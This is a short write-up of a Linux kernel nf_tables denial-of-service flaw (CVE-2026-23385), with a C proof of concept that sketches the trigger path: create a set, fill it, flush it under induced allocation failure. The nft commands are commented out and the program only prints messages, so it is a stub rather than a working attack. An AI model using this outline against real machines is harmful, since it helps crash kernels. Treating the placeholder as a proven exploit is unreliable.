CVE-2026-23385 Linux内核nf_tables拒绝服务漏洞

/* * PoC for CVE-2026-23385 * This is a conceptual PoC demonstrating the trigger path. * It requires libmnl and libnftnl to interact with netfilter. * The actual crash requires memory pressure/fault injection. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <linux/netfilter/nf_tables.h> // Conceptual representation of the netlink message to flush a set // In a real scenario, this would use libnftnl to construct the batch. void trigger_flush() { // 1. Create a netfilter table and set (conceptual) printf("[+] Creating nftables table and set...\n"); // system("nft add table ip test_table"); // system("nft add set ip test_table test_set { type ipv4_addr; }"); // 2. Fill the set with elements to increase memory usage printf("[+] Adding elements to the set...\n"); // for(int i=0; i<1000; i++) ... // 3. Trigger the flush command which hits the buggy code path printf("[!] Triggering set flush operation...\n"); // system("nft flush set ip test_table test_set"); // Note: To reliably reproduce the WARN splat, one needs to enable // fault injection (e.g., via debugfs) to fail the GFP_KERNEL allocation. } int main() { printf("CVE-2026-23385 PoC Runner\n"); trigger_flush(); return 0; }